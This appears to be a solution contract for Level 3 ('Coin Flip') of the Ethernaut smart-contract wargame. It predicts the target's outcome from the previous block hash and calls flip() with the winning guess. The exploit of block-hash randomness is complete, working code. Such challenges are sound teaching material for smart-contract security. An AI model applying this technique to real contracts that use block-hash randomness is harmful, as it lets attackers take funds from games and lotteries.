Level 3 - Coin Flip - Ethernaut

FlipHack.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.3/contracts/math/SafeMath.sol';

// Create an interface to call the target
interface ICoinFlip {
      function flip(bool _guess) external returns (bool);
}

contract FlipHack {

  using SafeMath for uint256;
//   uint256 public consecutiveWins;
//   uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  
  function flipHack() public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    // if (lastHash == blockValue) {
    //   revert();
    // }

    // lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;
    
    // Change to your instance address
        ICoinFlip(0x01776C78e902E631D891e0156c3fC6cB2F46C236).flip(side);

    return side;
       
  }

  function getBN() public view returns (uint256) {
    return block.number;
  }
  
}